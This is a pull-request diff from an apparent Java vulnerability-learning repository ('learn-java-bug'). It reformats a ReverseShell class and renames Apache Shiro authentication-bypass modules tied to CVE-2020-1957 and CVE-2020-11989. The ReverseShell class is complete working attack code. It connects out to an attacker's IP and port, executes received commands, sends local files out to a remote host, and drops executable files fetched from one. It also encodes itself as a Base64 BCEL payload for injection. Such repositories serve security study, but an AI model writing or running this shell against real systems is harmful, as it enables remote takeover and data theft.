[pull] master from threedr3am:master

common/src/main/java/ReverseShell.java

@@ -15,113 +15,117 @@
 
 public class ReverseShell implements Runnable {
 
-    private String ip;
-    private Integer port;
+  private String ip;
+  private Integer port;
 
-    private InputStream inputStream;
-    private OutputStream outputStream;
+  private InputStream inputStream;
+  private OutputStream outputStream;
 
-    public ReverseShell(String ip, Integer port) {
-        this.ip = ip;
-        this.port = port;
-        new Thread(this).start();
-    }
-
-    public ReverseShell(InputStream inputStream, OutputStream outputStream) {
-        this.inputStream = inputStream;
-        this.outputStream = outputStream;
-        new Thread(this).start();
-    }
+  public ReverseShell(String ip, Integer port) {
+    this.ip = ip;
+    this.port = port;
+    new Thread(this).start();
+  }
 
-    @Override
-    public void run() {
-        if (outputStream != null && inputStream != null) {
-            try {
-                BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream));
-                BufferedReader read = new BufferedReader(new InputStreamReader(inputStream));
-                String line2;
-                while ((line2 = read.readLine()) != null) {
-                    bufferedWriter.write(line2);
-                    bufferedWriter.newLine();
-                    bufferedWriter.flush();
-                }
-            } catch (Exception e) {}
-        } else {
-            try {
-                Socket socket = new Socket(ip, port);
-                BufferedWriter bufferedWriter = new BufferedWriter(
-                    new OutputStreamWriter(socket.getOutputStream()));
-                bufferedWriter.write("success!");
-                bufferedWriter.newLine();
-                bufferedWriter.flush();
+  public ReverseShell(InputStream inputStream, OutputStream outputStream) {
+    this.inputStream = inputStream;
+    this.outputStream = outputStream;
+    new Thread(this).start();
+  }
 
-                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
-                while (true) {
-                    String line = bufferedReader.readLine();
-                    if (line.equals("exit"))
-                        return;
-                    Process pro = null;
-                    try {
-                        if (line.startsWith("${IFS}")) {
-                            line = line.substring(6);
-                            String[] cmd = line.split("\\$\\{IFS\\}");
-                            pro = Runtime.getRuntime().exec(cmd);
-                        } else if (line.startsWith("download")) {
-                            line = line.substring(8).trim();
-                            String[] cmd = line.split(" ");
-                            String file = cmd[0];
-                            String ip = cmd[1];
-                            String port = cmd[2];
-                            byte[] bytes = Files.readAllBytes(Paths.get(file));
-                            Socket transferFileSocket = new Socket(ip, Integer.parseInt(port));
-                            transferFileSocket.getOutputStream().write(bytes);
-                            transferFileSocket.getOutputStream().flush();
-                            transferFileSocket.getOutputStream().close();
-                            transferFileSocket.close();
-                        } else if (line.startsWith("upload")) {
-                            line = line.substring(6).trim();
-                            String[] cmd = line.split(" ");
-                            String file = cmd[0];
-                            String ip = cmd[1];
-                            String port = cmd[2];
-                            Socket transferFileSocket = new Socket(ip, Integer.parseInt(port));
-                            InputStream inputStream = transferFileSocket.getInputStream();
-                            Path path = Paths.get(file);
-                            Files.copy(inputStream, path);
-                            if (Files.exists(path)) {
-                                File toSetFile = path.toFile();
-                                toSetFile.setExecutable(true);
-                                toSetFile.setReadable(true);
-                                toSetFile.setWritable(true);
-                            }
-                            inputStream.close();
-                            transferFileSocket.close();
-                        } else {
-                            pro = Runtime.getRuntime().exec(line);
-                        }
-                    } catch (Exception e) {
-                        bufferedWriter.write(e.getMessage());
-                        bufferedWriter.newLine();
-                        bufferedWriter.flush();
-                    }
-                    if (pro == null) {
-                        continue;
-                    }
+  @Override
+  public void run() {
+    if (outputStream != null && inputStream != null) {
+      try {
+        BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream));
+        BufferedReader read = new BufferedReader(new InputStreamReader(inputStream));
+        String line2;
+        while ((line2 = read.readLine()) != null) {
+          bufferedWriter.write(line2);
+          bufferedWriter.newLine();
+          bufferedWriter.flush();
+        }
+      } catch (Exception e) {
+      }
+    } else {
+      try {
+        Socket socket = new Socket(ip, port);
+        BufferedWriter bufferedWriter = new BufferedWriter(
+            new OutputStreamWriter(socket.getOutputStream()));
+        bufferedWriter.write("success!");
+        bufferedWriter.newLine();
+        bufferedWriter.flush();
 
-                    new ReverseShell(pro.getInputStream(), socket.getOutputStream());
-                    new ReverseShell(pro.getErrorStream(), socket.getOutputStream());
-                }
+        BufferedReader bufferedReader = new BufferedReader(
+            new InputStreamReader(socket.getInputStream()));
+        while (true) {
+          String line = bufferedReader.readLine();
+            if (line.equals("exit")) {
+                return;
+            }
+          Process pro = null;
+          try {
+            if (line.startsWith("${IFS}")) {
+              line = line.substring(6);
+              String[] cmd = line.split("\\$\\{IFS\\}");
+              pro = Runtime.getRuntime().exec(cmd);
+            } else if (line.startsWith("download")) {
+              line = line.substring(8).trim();
+              String[] cmd = line.split(" ");
+              String file = cmd[0];
+              String ip = cmd[1];
+              String port = cmd[2];
+              byte[] bytes = Files.readAllBytes(Paths.get(file));
+              Socket transferFileSocket = new Socket(ip, Integer.parseInt(port));
+              transferFileSocket.getOutputStream().write(bytes);
+              transferFileSocket.getOutputStream().flush();
+              transferFileSocket.getOutputStream().close();
+              transferFileSocket.close();
+            } else if (line.startsWith("upload")) {
+              line = line.substring(6).trim();
+              String[] cmd = line.split(" ");
+              String file = cmd[0];
+              String ip = cmd[1];
+              String port = cmd[2];
+              Socket transferFileSocket = new Socket(ip, Integer.parseInt(port));
+              InputStream inputStream = transferFileSocket.getInputStream();
+              Path path = Paths.get(file);
+              Files.copy(inputStream, path);
+              if (Files.exists(path)) {
+                File toSetFile = path.toFile();
+                toSetFile.setExecutable(true);
+                toSetFile.setReadable(true);
+                toSetFile.setWritable(true);
+              }
+              inputStream.close();
+              transferFileSocket.close();
+            } else {
+              pro = Runtime.getRuntime().exec(line);
+            }
+          } catch (Exception e) {
+            bufferedWriter.write(e.getMessage());
+            bufferedWriter.newLine();
+            bufferedWriter.flush();
+          }
+          if (pro == null) {
+            continue;
+          }
 
-            } catch (IOException e) {}
+          new ReverseShell(pro.getInputStream(), socket.getOutputStream());
+          new ReverseShell(pro.getErrorStream(), socket.getOutputStream());
         }
+
+      } catch (IOException e) {
+      }
     }
+  }
 
-    public static void main(String[] args) throws Exception {
-        InputStream inputStream = ReverseShell.class.getResourceAsStream("ReverseShell.class");
-        byte[] bytes = new byte[inputStream.available()];
-        inputStream.read(bytes);
-        String code = Utility.encode(bytes, true);
-        System.out.println(Base64.getEncoder().encodeToString(("$$BCEL$$" + code).getBytes()));
+  public static void main(String[] args) throws Exception {
+    InputStream inputStream = ReverseShell.class.getResourceAsStream("ReverseShell.class");
+    byte[] bytes = new byte[inputStream.available()];
+    inputStream.read(bytes);
+    String code = Utility.encode(bytes, true);
+    System.out.println(Base64.getEncoder().encodeToString(("$$BCEL$$" + code).getBytes()));
 //        new ReverseShell("127.0.0.1", 12345);
-    }
+  }
 }

pom.xml

@@ -1,6 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
   <modelVersion>4.0.0</modelVersion>
 
@@ -27,7 +28,6 @@
     <module>nexus</module>
     <module>apache-poi</module>
     <module>java-compile</module>
-      <module>auth-bypass(shiro=1.7.1)</module>
   </modules>
 
   <name>learn-java-bug</name>
@@ -56,56 +56,45 @@
     </dependency>
 
 
-<!--    <dependency>-->
-<!--      <groupId>com.google.guava</groupId>-->
-<!--      <artifactId>guava</artifactId>-->
-<!--      <version>26.0-jre</version>-->
-<!--    </dependency>-->
+    <!--    <dependency>-->
+    <!--      <groupId>com.google.guava</groupId>-->
+    <!--      <artifactId>guava</artifactId>-->
+    <!--      <version>26.0-jre</version>-->
+    <!--    </dependency>-->
 
 
     <!-- Javaee API -->
-<!--    <dependency>-->
-<!--      <groupId>javax</groupId>-->
-<!--      <artifactId>javaee-api</artifactId>-->
-<!--      <version>6.0</version>-->
-<!--    </dependency>-->
-
-
-
-
-
-
+    <!--    <dependency>-->
+    <!--      <groupId>javax</groupId>-->
+    <!--      <artifactId>javaee-api</artifactId>-->
+    <!--      <version>6.0</version>-->
+    <!--    </dependency>-->
 
 
     <!-- hibernate -->
-<!--    <dependency>-->
-<!--      <groupId>org.hibernate</groupId>-->
-<!--      <artifactId>hibernate</artifactId>-->
-<!--      <version>3.2.1.ga</version>-->
-<!--      <exclusions>-->
-<!--        <exclusion>-->
-<!--          <groupId>javax.transaction</groupId>-->
-<!--          <artifactId>jta</artifactId>-->
-<!--        </exclusion>-->
-<!--        <exclusion>-->
-<!--          <groupId>asm</groupId>-->
-<!--          <artifactId>asm</artifactId>-->
-<!--        </exclusion>-->
-<!--        <exclusion>-->
-<!--          <groupId>asm</groupId>-->
-<!--          <artifactId>asm-attrs</artifactId>-->
-<!--        </exclusion>-->
-<!--        <exclusion>-->
-<!--          <groupId>cglib</groupId>-->
-<!--          <artifactId>cglib</artifactId>-->
-<!--        </exclusion>-->
-<!--      </exclusions>-->
-<!--    </dependency>-->
-
-
-
-
-
+    <!--    <dependency>-->
+    <!--      <groupId>org.hibernate</groupId>-->
+    <!--      <artifactId>hibernate</artifactId>-->
+    <!--      <version>3.2.1.ga</version>-->
+    <!--      <exclusions>-->
+    <!--        <exclusion>-->
+    <!--          <groupId>javax.transaction</groupId>-->
+    <!--          <artifactId>jta</artifactId>-->
+    <!--        </exclusion>-->
+    <!--        <exclusion>-->
+    <!--          <groupId>asm</groupId>-->
+    <!--          <artifactId>asm</artifactId>-->
+    <!--        </exclusion>-->
+    <!--        <exclusion>-->
+    <!--          <groupId>asm</groupId>-->
+    <!--          <artifactId>asm-attrs</artifactId>-->
+    <!--        </exclusion>-->
+    <!--        <exclusion>-->
+    <!--          <groupId>cglib</groupId>-->
+    <!--          <artifactId>cglib</artifactId>-->
+    <!--        </exclusion>-->
+    <!--      </exclusions>-->
+    <!--    </dependency>-->
 
 
   </dependencies>

shiro/auth-bypass(shiro<=1.4.1)/pom.xml → shiro/auth-bypass-shiro-1-4-1/pom.xml

@@ -10,7 +10,7 @@
   </parent>
 
   <modelVersion>4.0.0</modelVersion>
-  <artifactId>auth-bypass-shiro-1.4.1</artifactId>
+  <artifactId>auth-bypass-shiro-1-4-1</artifactId>
   <build>
     <plugins>
       <plugin>

shiro/auth-bypass(shiro<1.5.2)/pom.xml → shiro/auth-bypass-shiro-1-5-1/pom.xml

@@ -10,7 +10,7 @@
   </parent>
 
   <modelVersion>4.0.0</modelVersion>
-  <artifactId>auth-bypass-cve-2020-1957</artifactId>
+  <artifactId>auth-bypass-shiro-1-5-1</artifactId>
   <build>
     <plugins>
       <plugin>

shiro/auth-bypass(shiro<1.5.3)/pom.xml → shiro/auth-bypass-shiro-1-5-3/pom.xml

@@ -10,7 +10,7 @@
   </parent>
   <modelVersion>4.0.0</modelVersion>
 
-  <artifactId>auth-bypass-cve-2020-11989</artifactId>
+  <artifactId>auth-bypass-shiro-1-5-3</artifactId>
 
   <dependencies>
     <dependency>

shiro/auth-bypass(shiro=1.7.1)/pom.xml → shiro/auth-bypass-shiro-1-7-1/pom.xml

@@ -10,7 +10,7 @@
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
-    <artifactId>auth-bypass(shiro=1.7.1)</artifactId>
+    <artifactId>auth-bypass-shiro-1-7-1</artifactId>
 
     <properties>
         <maven.compiler.source>8</maven.compiler.source>